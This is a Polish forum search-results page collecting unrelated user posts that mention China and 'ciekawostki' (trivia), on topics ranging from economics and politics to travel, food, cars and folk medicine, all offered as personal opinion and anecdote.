Wyniki wyszukiwania dla hasła: Chiny Ciekawostki

Gość portalu: meerkat napisał(a):

> W tyle za KIM????
>
> Synku, oni za 40 lat nie poleca tam, gdzie mysmy byli 40 lat temu!

40 lat temu to USSA byla za USSR, powinienes pamietac, panta rei.

> A przodujacy Chinczycy chca od nas kupic know-how Boeingow i zaczac je
> produkowac na licencji. To cos z tymi konstrukcjami aeronautycznymi musi nie
> za bardzo?

Musi nie za bardzo z tymi konstrukcjami aeronautycznymi ktore chca kuoic
Chinczycy, gdy chca zacofane know-how Boeinga. Chociaz to ani twoja zasluga,
ani nawet wina ze Boeing jest zacofany.

Powinni isc do Airbusa po przodujace konstrukcje aeronautyczne, no chyba ze
Boeing ma nizsze ceny.

Nizsze ceny, nizsza jakosc, dostajesz wasc to za co placisz.

> P.S. Koszule, dzinsy i majtki szyja nam bardzo dobrze: tu maja duze pole do
> ekspansji. :)

Nie dziwie sie, ze jestes na etapie koszul, dzinsow i majtek, jak USSA bylo 40
lat temu, gdy ciuchy w miastach polskich byla zalane tandeta amerykanska
robiona za psie pieniadze przez nielegalnych imigrantow.

Tak sie sklada, ze ja widzialem i kupowalem bardzo dobre wyroby chinskie,
chociaz nie koszule, dzinsy i majtki, bo te to robia teraz tez w Bangladeszu
czy w Pakistanie.

Kupowalem aparat fotograficzny cyfrowy, TV i inne ustrojstwa Made in China.

A jako ciekawostke powiem ci ze moj kolega kupil twardy dysk 40MB Made in
Thailand, Assembled in USA. A S S E M B L E D I N U S A.

Struth meerkat, rozejrzyj sie dookola, bo jak mrugniesz, to nie zauwazysz tego
co sie dzieje dookola ciebie.


Czy tam gdzie aborcja jest legalna
Nie ma domow dziecka? Porzuconych dzieci?`
Np w Wietnamie czy Chinach?
A to ciekawostka.. Gdyby zwiazek byl taki prosty to na pewno demografowie i
psychologowie dawno zasugerowaliby to rzadzacym w Europie.. Niestety to nie
takie proste..
Jeszcze raz- jako podatnik wole doplacac do spiralek dla owych- wymienionych pan
niz do zabiegow aborcyjnych.. Spiralki na troche starczaja...
A panie jesli zmienia zdanie i tryb zycia - moga miec zdrowe dzieci.
Jezeli tak wiele sobie wyobrazamy warto sobie wyobrazic i taka sprawe wlasnie...

Ty w Polsce nic nie masz.
A tam,gdzie mieszkasz-inne jezyki swiatowe sa,przez wszystkie zrozumiale.
W Polsce po angielsku nawet babcia klozetowa klac potrafi.
Nie mowiac juz o niemieckim.
A jednak powinnas odroznic rosyjski od ukrainskiego.
Nie wstyd ci?
Wtedy bys zrozumiala,ze wspolpracowalem nie z KGB tylko z UPA.
Czy ja pisze na temat?
Wy sobie od rzeczy gledzicie.
A ja przynajmniej ciekawostki podaje-w jezykach swiatowo ojczystych.
A split,to nie twoj kumpel?
A kosula-ten wymanierowany rzeczywisty duren?
A naczelny zamiatacz Guc?
Chinski znac w Belgii nie musisz.
Ale ukrainski od rosyjskiego i bialorosyjskiego odroznic powinnas.
Teraz wiadomo-dlaczego PRL upadlo.
Tyle pieniedzy na ksztalcenie ludnosci wybulilo.
No ico?
Powiedz odrazu-czego jeszcze nie umiesz.
Czas zaoszczedzimy.
"Panienko"
Wybacz-jakos ucieklo.
Zapomnialem zlozyc zyczenie z okazji 8 marca.
Rocznica samospalenia dunskiej sufrazystki,ktora poswiecila sie dla
siostr swoich.
Mam nadzieje,ze obwolaja ja kiedys swieta.

Na ten temat byla juz nawet ksiazka pt.'Czy ZSRR dotrwa do roku 1984". Okazalo sie ze dotrwal,rewolucji nie bylo i trwa nadal. Ma sie coraz lepiej.
Oczywiscie ze Rosja przetrwa a model rozwoju ktory obecnie wybrala jest powtorka modelu kanadyjskiego. Model ten polega ogolnie mowiac
na nierozwijaniu innych obszarow i eksploatacji surowcow naturalnych. Kanada robi to od zakonczenia II WS i ma pelny dobrobyt. Militarnie zalezna jest jednak od
USA.
Rosja ma wszystko co potrzeba no i nie mozna jej zbombardowac. Obawy o Chiny sa naprawde przesadzone. Chiny rowniez nie beda inwestowac w nowe
prowincje bo infrastruktura jest bardzo kosztowna. Chiny i Kanada sa prawie jednakowe terytorialnie. Zatem sprzedaz surowcow.
Rozwijanie eksportu broni bo tutaj Rosja jest albo na pierwszym albo na drugim miejscu. No i moze jeszcze cos po drodze bo potencial naukowy
w Rosji jest bardzo duzy a Rosjanie sa bardzo zdolnymi ludzmi.
Zatem nie tylko przetrwa ale bedzie sie rozwijala i to na rynkach miedzynarodowych bo nie moze byc procesu globalizacji bez Rosji.
Ciekawostka; Polska i Chiny maja te sama gestosc zaludnienia na jeden km. kw. Majac ponad 20 % bezrobocie widac ze to Polska jest przeludniona.


Ciekawostka - w Syrii studiuje zaskakująco wielu
Chińczyków. W pewnym mieście w hotelu spotkałem jednego, który światnie mówił
po arabsku (zaskoczenie, biorąc pod uwagę, co potrafią wyczyniać z angielskim).
Okazało się, że w trakcie studiów przeszedł też na islam. Pomny wiadomości na
temat powstania w chińskim Turkiestanie i prześladowań chrześcijańskich
misjonarzy, próbowałem delikatnie wybadać, czy po powrocie do Chin nie
skomplikuje mu to życia - w odpowiedzi automatyczna maszynka
propagandowa: "nie, skąd, w Chinach tolerancja..." Uściśliłem -
odpowiedź: "imperialistyczna propaganda..."
No comment...

Jako ciekawostke podam, ze niedobór tluszczu w diecie tez moze powodowac
biegunke jest to tzw. "biegunka pedrakow"
My kuracje rosolowa zaczynamy jutro, bo dopiero udalo mi sie uporac z
koszmarnym stanem skory dziecka, niebo i zemie poruszylam, a okazalo sie to
zwykla alergia kontaktowa, Bogu dzieki.
Dla sceptykow dodam ze moje zainteresowanie ta kuracja to nie efekt "owczego
pedu" (termin ekonomiczny ) a moich przemyslen odosnie kwasow tluszczowych i
ich roli w leczeniu AZS. Rozumowanie chinczyka wydaje mi sie logiczne, zreszta
kidy medycyna konwencjonalna nie ma nic do zaoferowania, wole zaufac medycynie
chinskiej z dluga tradycja niz np. biorezonansowi, ktrory wzial sie znikad i
sluzy do nabijania ludzi w butelke.
Pozdrawiam, Kasia.

Gość portalu: jacek napisał(a):

> ale rosja stoi ropa - i tylko dzieki wysokiej cenie mozna mowic o wzroscie
> gospodarczym

Ceny ropy wzrosły ostatnio, a nie w 2003 roku. Znaczący wzrost gospodarczy w
Rosji zbiegł się z wprowadzeniem podatku liniowego, a nie ceny baryłki ropy za
99 dolców sztuka.

> nielegalny wywoz kapitalu ??? a gdzie ponad 100 miliardow USD wladowanych do
> ruskich przez zagraniczne banki (kupowali gamonie ruskie obligacje) - ktore
po prostu im ukradziono w 1998 ???

Może się zdecyduj - "gamonie władowali" w ruskie banki jakąś forsę czy
ją "wywieźli"?

> duzo masz w domu ruskich produktow ??? jezdzisz ruskim samochodem ??? moze
choc telewizor ???

A ile Ty masz w domu estońskich produktów? Twój komputer, telewizor i zabawki
dziecka są "made in China/Thajland/Singapore".

> ruski cud gospodarczy przypomina niemiecki cud gospodarczy przed II wojna
> (tylko ze nie mieli ropy) - bez wojny i rabunkow bylaby wielka kicha ...

Ciekawostka - niemiecki "cud" gospodarczy sprzed II wojny był efektem
wprowadzania socjalizmu w gospodarkę w ramach centralnych planów, to co robi
obecnie Putin w Rosji jest działaniem dokładnie odwrotnym. Jak to można
porównywać?

xsiaduka sie rozpisal
ruskie wywozili - banki inwestowaly (tylko sie przeliczyly)

> A ile Ty masz w domu estońskich produktów? Twój komputer, telewizor i zabawki
> dziecka są "made in China/Thajland/Singapore".

to w koncu gdzie jet ten cud gospodarczy ??? mowiles ze w Rosji ...

> Ciekawostka - niemiecki "cud" gospodarczy sprzed II wojny był efektem
> wprowadzania socjalizmu w gospodarkę w ramach centralnych planów, to co robi
> obecnie Putin w Rosji jest działaniem dokładnie odwrotnym. Jak to można
> porównywać?

rozumiem - zamykanie akcjonariuszy, nacjonalizacja firm to nie jest socjalizm

tak przy okazji - od 1930 roku do konca wojny w Niemczech liczba sluzaczych
prawie sie nie zmniejszyla (1,5 miliona) zas kobiety nie byly zmuszane do
pracy - mimo ze w tym czasie w Anglii i Stanach praca kobiet stala sie
powszechna
ani Coca Cola, ani GM ani Ford (za okres wojny wyplacily amerykanskim
udzialowcom ogroman dywidende w '45) nie skarzyly sie na socjalizm w Niemczech -
podobnie jak Krupp, Thyssen, IG Farben - dziwne nie ???

wowo5 napisał:

> Lexusa w Azji nie sprzedaja. Tylko w Ameryce Pln i w Europie.
****************************************************************
byles?
widziales?

ciekawostki opowiadasz, a moze by tak troszeczke dokladniej ? jakies
uzasadnienie ?
moze chcesz zdjecia z lexusem z korei, chin lub tajlandi ?
no czyba ze to nie azja dla ciebie..
dobrego samopoczucia zycze..
janusz
ktory wlasnie przylecial z chin..

Gość portalu: janusz napisał(a):

> wowo5 napisał:
>
> > Lexusa w Azji nie sprzedaja. Tylko w Ameryce Pln i w Europie.
> ****************************************************************
> byles?
> widziales?
>
> ciekawostki opowiadasz, a moze by tak troszeczke dokladniej ? jakies
> uzasadnienie ?
> moze chcesz zdjecia z lexusem z korei, chin lub tajlandi ?
> no czyba ze to nie azja dla ciebie..
> dobrego samopoczucia zycze..
> janusz
> ktory wlasnie przylecial z chin..
W Polsce tez mozna spotkac wozy, ktorych tu oficialnie sie nie sprzedaje, np.
Plymouth Prowler, czy Ford Taurus.

Dzięki za pomoc ws. oleju:)
Właśnie jestem po przeglądzie i zmieniłem łolej na Mobil1 0W-40. Tańszy sporo
od używnego wcześniej Castrola SLX.

Auto odpaliło i jeździ więc chyba mieliście rację;-) buhahahahahahaha

Z ciekawostek serwisowych. W serwisie VW gdzie dokonałem przeglądu mają
bardzo dobrą kawę ale w beznadziejnych kubkach w ankiecie zaproponowałem
ceramiczne filiżanki wtedy móglbym tam posiedzieć nad jeszcze jedną kawą:)

I oto wyszła na jaw pierwsza usterka w moim aucie!!!!!
- z niewiadomej przyczyny obudowa lewego lusterka rozlazła się!!! jest
zbudowana z dwóch częsci i powstała między nimi wqurzająca szpara???
Nie ma sladu uderzenia, więc uznali to jako wadę objętą gwarancją, tyle, że
trza czekać bo lewej obudowy nie mieli???? No nic, chyba przez 3 dni nie
odpadnie???

Pozdrawiam
Q

PS. czym oni myją dywaniki - bo ja za chiny nigdy nie potrafiłem doprowadzić
ich do takiego stanu??? Są prawie jak nowe.

qrakki999 napisał:

> Właśnie jestem po przeglądzie i zmieniłem łolej na Mobil1 0W-40. Tańszy sporo
> od używnego wcześniej Castrola SLX.
>
> Auto odpaliło i jeździ więc chyba mieliście rację;-) buhahahahahahaha
>
> Z ciekawostek serwisowych. W serwisie VW gdzie dokonałem przeglądu mają
> bardzo dobrą kawę ale w beznadziejnych kubkach w ankiecie zaproponowałem
> ceramiczne filiżanki wtedy móglbym tam posiedzieć nad jeszcze jedną kawą:)
>
> I oto wyszła na jaw pierwsza usterka w moim aucie!!!!!
> - z niewiadomej przyczyny obudowa lewego lusterka rozlazła się!!! jest
> zbudowana z dwóch częsci i powstała między nimi wqurzająca szpara???
> Nie ma sladu uderzenia, więc uznali to jako wadę objętą gwarancją, tyle, że
> trza czekać bo lewej obudowy nie mieli???? No nic, chyba przez 3 dni nie
> odpadnie???

Który to serwis VW (jeżeli w Wa-wie)?

>
> Pozdrawiam
> Q
>
> PS. czym oni myją dywaniki - bo ja za chiny nigdy nie potrafiłem doprowadzić
> ich do takiego stanu??? Są prawie jak nowe.

Może wymienili na nowe ;-)

z tym ze
holenderski jak i francuski naleza do jezykow wymierajacych i tracacych na
znaczeniu...

tak naprawde jezyki, ktorych warto sie uczyc jako narzedzi komunikacji i pracy
to takie, ktore rozwijaja sie (tam gdzie praca,interesy i liczba ludnosci z
danym jezykiem jako pierwszym):

angielski
hiszpanski
chinski 9dialekt mandarynski)
arabski
ew. portugalski
rosyjski (biorac pod uwage, ze liczba rosyjskojezycznych 'nativ'ow rosnie)

reszta znika...tylko ciekawostka do nauki

pozdroofka

pawlozsiul napisał:

> Jest nim Mur Chiński. Ciekawostką jest to, że ciężar jego utrzymania w
całości
> ponoszą władze Chin.

=====

A ja nadal nie otrzymałem oficjalnej odpowiedzi od zarządu SM w/s naprawy
zniszczonego przez SM najsłynniejszego bielskiego płotu.

Polecam :)
jedno co weż karte -ichniejszych pieniążków nie kupisz w kraju :)
Ja byłem tu i serdecznie polecam -super warunki za dwa pokoje w zeszłym roku 40
EU we wrześniu.
www.sloveniaholidays.com/podrobno.asp?id=19&jezik=EN
Piękne położenie , z tarasu widzisz góry (niestety często szczyty zachmurzone )-
warto też obejść jezioro prawie dookoła , warto też wybrać się do wąwozu
Vintgar , inna ciekawostka to z końca wąwozu Vintgar na szczyt i do kościółka
Św.Katarzyny - ten widoczek mam do dziś na pulpicie monitorka.
I z drugiej strony Bled jest taka zalesiona góra -jak na chińskich fotografiach.
Kiedyś tam wróce :) we wrześniu niestety już momentami może być chłodnawo , a
co gorsze chmury zasłonią szczyty.
Bled ogólnie jest bardzo drogie -ale ta oferta naprawde była dośc korzystna
warunki kosmos , kuchnia z płytą ceramiczną , jadalnia jak w domu , piękny
domek , sporo kwiatów.
jak coś to jeszcze masz mój mail zib26 małpa interia.pl mam troszke fotek(małpa
aby nie spamowały mi automaty ).
Co do krów to nie pamiętam ale nad jeziorko trzeba wziąć chlebek .....
nas "napadły" miliony łabędzi,gęsi,kaczek -frajda dla dzieci jak goni Cie za
kawałkiem bułki kilkaset ptaków różnej maści :)

A ja się w 100 proc. zgadzam z logic-iem!!! (żeby nie powtarzać jego argumentów)

Naukę o komunikowaniu wychwalaną w którymś z postów, uważam za naukę o niczym.
Prawo prasowe - OK, ale umówmy się, że jak się chce pracować w zawodzie, to i
tak musisz je poznać, niezależnie od tego, czy studiujesz dziennikarstwo czy
matematykę. Historię prasy, włącznie z pierwszą gazetą Chin, traktuję jako
ciekawostkę i naprawdę szkoda mi czasu na wkuwanie tego na pamięć.

Dlaczego jestem przeciwna studiowaniu dziennikarstwa? Nie dlatego, że
dziennikarz powinien być niewinny intelektualnie jako ta tabaka w rogu!
Dlatego, że te studia to strata czasu!!! Owszem dają troszke wiedzy, ale ta
wiedza jest tak szczątkowa i sprytnie zamaskowana między przedmiotami typu
Asertywność, że szkoda marnować pięć lat na jej wyławianie. Monografy - tak,
może to jest wyjście. Ja po prostu mam wrażenie, że program tych studiów jest
denny i nieprzemyślany.

Po czterech latach studiowania dziennikarstwa przeszłam sie z ciekawości na
monograf na religioznawstwo. Wiecie co mnie powaliło? Że prowadzący wiedział, o
czym mówi i miał do przekazania konkretną wiedzę.

Ja tak moge jeszcze długo, ale długich postów nikt nie czyta...

Zwerbalizowales me najgorsze przeczucia kulinarne, Brezly.

Z kawa w Budzie trza mimo wszystko ostroznie. Generalnie kawe robia bratanki
zacna, to zdecydowanie kraj kawowy. Na targu przy ulicy Rzodkiewkowej, gdzie
chadzam po warzywa i owoce jest kawowo cudnie: podaja znakomite espresso w
ilosci lyk szatanskiego napoju w grubych, kielichowatych szklaneczkach,
podobnych ksztaltem i rozmiarem do tureckich szklanek do herbaty. Cappucino jest
w sklepiku-barku z kawa na gorze i tam sie pija najlepsze w Budzie. Tylko
lojalnie uprzedzam wszystkich: Wegry to tez kraj bitej smietany, wiec trzeba od
razu powiedziec, ze sie chce kawe BEZ bitej smietany lub gwaltownie protestowac,
jesli zyczliwa reka chce zrobic ci dobrze i okrasic obficie twa kawe bita
smietana ze sprayu.

Inne ciekawostki:
Kilka lat temu w calkiem niezlej restauracji w Budzie dostalam jako Caesar Salad
salate polana obficie slodzona smietana. Pewnie kucharz wywodzil sie z Transylwanii.

Wzdrygamy sie na widok wegierskiej wersji kiszonych z dodatkiem octu ogorkow.
Ani smak, ani zapach, ani kolor... Juz kiedys pisalam o granicy wystepowania
kiszonek i marynat tudziez kapusta kiszona w glowkach versus szatkowana.

Ten bigos, co pan o nim pisze, Panie Brezly, to niemal jak te mrozone chinskie
dania z woka.

PODATKI JAKO % GDP. SMALL TAKE.
Zbigniew pisze,ze nie ma zadnego powodu,by biznesy uciekaly z Niemiec do Chin
w przypadku gdy robocizna stanowi tylko 10% kosztow.

WSJ OCT 22.

PODATKI JAKO PROCENT GDP:

37,4- OECD srednia
29,6- USA
27,1- Japonia
26,1- Korea Pld
16,0- CHINY
13,0- FILIPINY

Nie wiem jak wyglada EU w tej OECD ,ale mysle ze bardzo zawyza.
Nalezy sie spodziewac ,ze podatki w EU to okolo 50% GDP.

Fizyk kiedys podawal te dane.

Inna ciekawostka jest to,ze w Chinach podatki sa od 20 lat.
W 1996 bylo to tylko 10%.

Individual income taxes make up only 4% of government revenues in
Chin ,compared with 26% in OECD.

Jak teraz myslisz Zbigniew.
Oplaciloby sie przeniesc cala fabryczke JOrl'a do Chin?

Gość portalu: takijeden napisał(a):

>Produkt został
> wytworzony ale włściciel w tym wypadku państwo nie umiało go sprzedać.
Błednie
> pan załozył ,ze panstwo kupuje samo od siebie i to ma być konsumpcja. Owszem
> państwo zapłaciło górnikom za pracę ( kupując od nich prace) ale fakt jest
> faktem w kopalni odbywała się produkcja później nikomu niesprzedawana , czyli
> produkcja bez konsumpcji chwilowe rozsprzężenie konsumpcji z produkcją
> oczywiście jest to ciekawostka wybryk w normalnej gospodarce konsumpcja z
> produkcją jest silnie sprzężona i takiej tezie starał się pan przeciwstawić
> teraz dla odmiany chce pan obalic mój przykład popierający wyjatkowo pańska
> antytezę. Oj chyba lubi się Pan pieniaczyć. Oj lubi.

To że węgiel poleży na hałdzie miesiąc nie zmienia postaci rzeczy.

Konsumpcja w US rośnie a produkcja spada. W Chinach produkcja rośnie o 8%
rocznie a konsumpcja prawie wcale.

Polacy maja fobie i w dalszym ciagu nie znaja kapitalizmu. Rosyjskie firmy sa takie same jak amerykanskie bo kapitalizm jest wszedzie ten sam i ma twarz wilka.
Amerykanskie firmy rejestruja sie gdzies na Cyprze czy Wyspach Dziwiczych. Uciekaja z podatkami. Rowniez przenosza produkcje do np.Chin.
Amerykanom wcale nie przeszkadza ze kapital arabski posiada amerykanskie rafinerie. To arabowie sa uzaleznieni od kupna przez amerykanow
bo maja wszystkie technologie. Ciekawostka ,rosjanie kupili siec stacji benzynowych Jukos w USA ale przeciez nie transportuja benzyny z Rosji do USA.
Zaopatruja amerykanow miedzy innymi w Iraku i tylko dokonuja przeliczen finansowych.Benzyna jest z Teksasu. Kupili rowniez hute w Detroit nalezaca
do Ford Motor Co. za 280 mln $. Huta rowniez jest im do niczego nie potrzebna ale z huta kupili siec dystrybucji (globalna0 i beda sprzedawali do Niemiec
i innych krajow europejskich w tym do Polski specialne produkty (maja patenty) do przemyslu samochodowego. Ford i Daimler Chrysler.

HP - Fan Fiction
Zastanawiam się od długiego czasu, jak powstaje FF :] Sam też piszę, ale jest
to tylko kontynuacja HP - moja własna 6-ta część /ma już 453 strony :] /...

Mało ludzi wie, że fascynacja HP distarła na bieguny, oraz do takich
konserwatywnych krajów jak np. Chiny czy Japonia... Co się tyczy
Chin...ciekawostką jest to, ze Chińczycy napisali....własne dalsze 3 części,
a mało który czytelnik wie, że autorem ich nie jest angielska pisarka !!

Tak więc wróże FF jeszcze długą i ciekawą przyszłość...pod warunkiem, ze nie
wyczerpią się pomysły :]

syriusz.black napisał:

Co się tyczy
> Chin...ciekawostką jest to, ze Chińczycy napisali....własne dalsze 3 części,
> a mało który czytelnik wie, że autorem ich nie jest angielska pisarka !!

Slyszalem tytuly tych 3 czesci z chin... "Harry Potter i Mao Tse Tung" ,"Harry
Potter i miseczka ryzu" ,"Harry Potter i final mistrzostw swiata w Ping-Ponga"

Plaz w okolicy jest dostatek. Na poludnie sa bardziej skaliste, ale za to z
przejrzysta woda (do nurkowania), natomiast na lewo od portu (stojac twarza do
morza) jest kilka kilometrow dosc szerokich (trzeba szybko dochodzic do morza,
bo piasek parzy) z lagodnym zejsciem do wody piaszczystych plaz. Im dalej od
centrum, tym luzniej (ale ja bylem na poczatku sezonu (21 czerwca - 5 lipca).
Samochod w poblizu mozna bylo zaparkowac bez problemu. Jest tez (dalej "na
lewo") odcinek z kamienista plaza (ciekawe kamyki, moja zona i corka namietnie
zbieraly). Polecic jakiejs jednej, konkretnej nie moge, bo za kazdym razem
jechalismy samochodem wzdluz morza i w co jakis czas skrecalismy w prawo (do
morza) - jak bylo OK, to wysiadalismy i plazowalismy, jak nie to podjezdzalismy
kawalek dalej. Do barow i restauracji niestety nie chodzilem :-(, wiec nie moge
ich polecic. Jako ciekawostke tylko podam, ze na zapleczu jakiejs chinskiej
restauracji (niedaleko przejazdu przez tory) biegaly spore ilosci "cucarachas"
(karaluchow znaczy sie)). Usiluje sobie teraz przypomniec, czy widzialem jakas
internet cafe, ale sorry, mam przed oczami tylko sklepy z winem. Pewno jakas
jest, to relatywnie duze miasteczko. Moze jeszcze sobie przypomne...

cześć
też miałabym małą propozycje ,co do modernizacji forum

podczas buszowania po innych forach, najczęsciej chińskich , spodobała mi się
taka mała rzecz, a mianowicie na górze strony głównej widać jest kto w danej
chwili jest obecny na forum...

podoba mi sie taka ciekawostka,więc jeśli moge zaproponowac ją to cichutko
tylko o niej wspominam

podawałyśmy niedawno nasz numery gg i gdy mam swoje gg włączone to widze,że
koleżanki są obecne i po pewnych chwilach dopisuja nowe posty ,ale wspomniany
wcześniej przeze mnie pomysł wydaje mi się całkiem fajny

tak tylko chciałam napomnąć cos, co mi się juz jakiś czas pląta po głowie

pozdrawiam AgA

Niestety nie do konca moge sie zgodzic - tak sie sklada, ze od paru tygodni mam zainstalowanego Skype na moim iPAQu, znajoma w Houston ma Skype tez na jakims PDA. Rozmawiamy niemal codziennie, na zasadzie telefonu komorkowego, ktory jest za darmo (czasem - w moim przypadku za mala oplata, ale i tak nikla w porownaniu z telefonem). Ta wlasnie sobie pomyslalem, czy popularnosc urzadzen przenoscnych i Internetu bezprzewodowego bedzie malec czy rosnac? Raczej rosnac, nawet w panstwie zapoznionym technologicznie jak Polska. Co wiecej, sa takie miejsca - jak Tajwan - przeciez nie zapozniony w branzy IT, gdzie Skype ostro konkuruje z tradycyjna telefonia. Wiecej mozna sobie poczytac tu: www.digitimes.com/news/a20040913A5036.html A jako ciekawostke podam pierwsza piatke krajow uzywajacych Skype:USA,Tajwan,Polska,Brazylia i Chiny.

Wg. medycyny chińskiej (np. książka B.Temelie "Odżywianie dla matki i dziecka
wedlug pieciu przemian") kobieta po porodzie powinna pić rosół z długo (4-5
godzin na wolnym ogniu) gotowanej kury i warzyw. Jest bardzo energetyczny. Jest
w tej książce napisane, że w dawnych Chinach jak kobieta zaczynała mieć bóle
porodowe, to jej matka albo ktoś z rodziny zaczynał gotować rosół, który był
gotowy po porodzie. 3-4 miesiące po porodzie na skutek utraty energii często u
kobiety wyłażą różne choroby (u mnie np. zapalenie stawów). A podobno
codziennie picie takiego rosołu - po filiżance zapobiega utracie energii.
Ja, kiedy rodziłam nie wiedziałam o tym i nie miałam tej książki ))
Tyle z ciekawostek, pozdrawiam
At

Phi,teraz Szwajcaria.To już z Uni nie nadają?Może ktoś ich tam za bardzo
naciskał:-)
Nie zawracaj sobie tym głowy Rito.

bpkw napisał:
> Rita. Pamietaj o jednej rzeczy. Nigdy nie wolno takich spraw pozostawiac
samym
> sobie. Nie znam prawa unijnego, ale prawo polskie przewiduje tzw.
postepowanie
> nakazowe. Jego konsekwencja jest wydawanie wyrokow przez sad tylko na
> podstawie prowadzonej miedzy stronami udokumentowanej korespondencji.
Nas prawo wspólnotowe jeszcze nie obowiązuje.Dlatego zagraniczna firma musi
stosować w Polsce przepisy polskie(+ratyfikowane umowy międzynarodowe,ale te są
częścią prawa wewnętrznego).
Pisma kierowane w jezyku angielskim,niemieckim czy jakimś innym potraktuj jako
ciekawostkę.Nie mogą być dowodem przed polskim sądem.

Powiedz jeszcze czy to są pisma polecone?Tylko z ciekawości pytam.

Rito może załóż klaser ze znaczkami.Tu hiszpańskie,tam szwajcarskie,może
jeszcze chińskie będą;-)))
To jedyna korzyść z tego wszystkiego i naprawdę nie przejmuj się.

[ciekawostka] Autobusem z Londynu do Nowego Jorku
Brytyjska firma przewozowa Ozbus od przyszłego roku będzie organizowała
podróże autobusem z Londynu do Nowego Jorku.

Trasa - jak poinformowała na swych stronach internetowych - liczy 22 tysiące
kilometrów i wiedzie przez 13 państw, m.in. Holandię, Niemcy, Polskę,
Białoruś, Rosję, Chiny i Kanadę. Cena trwającej blisko 18 tygodni wyprawy
wyniesie około 5 tysięcy funtów szterlingów.

Datę wyjazdu z Londynu do Nowego Jorku wyznaczono na 26 marca 2009. Przyjazd
do miejsca docelowego przewidziano na 2 sierpnia. Przewoźnik rozważa też
połączenie w drugą stronę.

Firma Ozbus organizuje już podróże autobusowe z Londynu do Sydney w Australii.
Cytowany przez AFP założyciel firmy Mark Creasey zapewniał, że cieszą się
ogromną popularnością.

PAP

Liberalni bolszewicy? Ciekawostka
Czy to LPR ma juz jakis program gospodarczy. I na czym to polega? Na razie wiem
tylko, ze chca postawic na handel z Rosja? Ale cala Rosja to tylko okolo
dwukrotnie wieksza gospodarka. Nie za duzo oni tego towaru z Polski kupia. Poza
tym tez wola towar zachodni albo tani chinski.

witam, witam
i niosę Wam fajną stronke, jak klikniecie na nią i przesuniecie kursorem
znajdziecie coś o Wieliczce, bardzo ciekawe, wraz z fotografią

www.joemonster.org/article.php?sid=2905
nie miałam czasu znów kosić trawnik - trudno, zrobię to innym razem, praca
nigdy nie ucieknie - prawda ?
A - się ucieszy , ze jesteśmy i napewno przywiezie ze sobą ciekawostki z Chin.
ślicznie pozdrawiam Was - dzięki, że jestescie

Na pewno z tego wyjazdu duzo skorzystalo miasto,bo np dyrektor
wydzialu skarbu i budzetu łatwo przeniesie doswiadczenia chinskiego
budzetu i gospodarowania majatkiem socjalistycznych chin do
plocka,pan bury zakontraktuje kilka masowych imprez przyblizajacych
bratnim narodom polski i chin spuscizne i korzenie....a dyrektor
kancelarii...no moze to wyjazd sensowny bo moze uda sie
przetransponowac do ratusza chinska pracowitosc.Pan prezydent
natomiast z cala powaga podpatrzy wszystko ....Ciekawostka ile ta
wycieczka kosztowała?

Będą zabierać chińskie biustonosze?
Mam taką ciekawostkę. Przed meczem
derbowym pan Krzysztof Kwiatkowski z PO rozdawał szaliki widzewa. Nie jest
tajemnicą,że spotyka się regularnie z p. Gapińskim i Młynarczykiem np. w
czwartek przed derbami w ogródku na Piotrkowskiej..szkoda,że nie wiecie o
czym
rozmawiają..naprawdę interesujące..teraz wszystko układa się w całość tzn.
wypowiedzi Bońka dotyczące stadionu miejskiego itp. A to dopiero szczyt góry
lodowej...

Witam,
kolega był kiedyś w Chinach i wrócił z winem ryżowym (on tak twierdził, na oko wygladało jak wódka). Serwował to jako ciekawostkę na wieczorkach wspominkowych o tychże Chinach. Aromat był ciekawy - coś jak owoce, może pigwa ? natomiast smak paskudny - wrażenie picia zmywacza do lakieru do paznokci ;) i jeszcze się potem odbijało tym przez jakiś czas... Oswiećcie mnie - to było faktycznie wino czy wódka ryżowa ?
Pozdrawiam
Jaca 2

jaca_dwa napisał:

> Witam,
> kolega był kiedyś w Chinach i wrócił z winem ryżowym (on tak twierdził, na
oko
> wygladało jak wódka). Serwował to jako ciekawostkę na wieczorkach
wspominkowych
> o tychże Chinach. Aromat był ciekawy - coś jak owoce, może pigwa ? natomiast
s
> mak paskudny - wrażenie picia zmywacza do lakieru do paznokci ;) i jeszcze
się
> potem odbijało tym przez jakiś czas... Oswiećcie mnie - to było faktycznie
wino
> czy wódka ryżowa ?
> Pozdrawiam
> Jaca 2

ciekawe jak smakuje zmywacz do paznokci :)

To pytanie zadaj do sanepidu i biura konsumenta,jakieś kontrole by się przydały,to dobrze,że kurczak,a nie gołąb:), były przypadki,że podawano gołębie pocztowe,zamiast kurczaka,a trujące olszówki zamiast grzybków chińskich.Zapraszam do mej spiżarni,na przepisy kulinarne z całego świata.Wystarcz kliknąć w banner, a oprócz przepisów wiele ciekawostek z filmów,historii,muzyki,proszę sprawdzić.<a href="http://chomikuj.pl/?page=79471">
<img src="images.chomikuj.pl/button/krzysztof040887.gif" style="border:0px" />
</a>

Przekąski - Wielka Księga Kucharska
wydawnictwo: KONEMANN
Podróż po przekąskach chińskich, indyjskich, maksykańskich....
Dużo kulinarnych ciekawostek, jednak produkty bardzo wyszukane i czasami
ciężkie do zdobycia, są też rzeczy w miarę normalne.
Nie wiem gdzie kupić, nie wiem ile kosztuje, dostałam w prezencie.

Polecam książkę "Sushi i Sashimi" wydawnictwa Elipsa. Mnóstwo praktycznych
porad, wspaniałe, inspirujące zdjęcia i wiele innych ciekawostek związanych z
przygotowaniem tego wspaniałego dania.
Jeśli ktoś jest dość majętny, polecam wizytę w galeriach Daruma (DH Sezam) oraz
Akira (ul. Nowolipie, jeśli się nie mylę). Mają wspaniałe japońskie i chińskie
zastawy oraz noże do przyżądzania sushi. Moje kulinarne zbiory zdobyłam również
w Chince oraz w sklepiku na podwórku na tyłach Chmielnej (nie pamiętam
dokładnego adresu), gdzie zaopatrują się również skośnoocy restauratorzy. Jest
tam mnóstwo chińskich rarytasów i przepiękna porcelana. Z tańszych rzeczy mogę
polecić serię Asia Line Fackelmanna - dość japońska w swojej wymowie;-),
aczkolwiek orientale potrawy bardziej mi smakują z prawdziwej porcelany;-P

No tak... Wystrój rzeczywiście nieciekawy, ale jeśli chodzi o sztandarowy tam od
dziesięcioleci placek zimniaczany po wegiersku to jest - moim zdaniem -
wzorcowy. Inna sprawa, że Wegrzy pewnie dziwią sie skąd takie danie...

Jeszcze po zastanowieniu - poza Kazimierzem. Dla gości, którzy chcą spróbowac
kuchni orientalnych to chyba jedna z najlepszych w ogóle chińskich knajp (ale i
niestety najdroższych) to A Dong w Podgórzu (zaraz za mostem Piłsudzkiego, po
lewej stronie idąc od centrum miasta).
A jeśli Podgórze to napewno Ogniem i Mieczem na Placu Serkowskiego (to z kolei
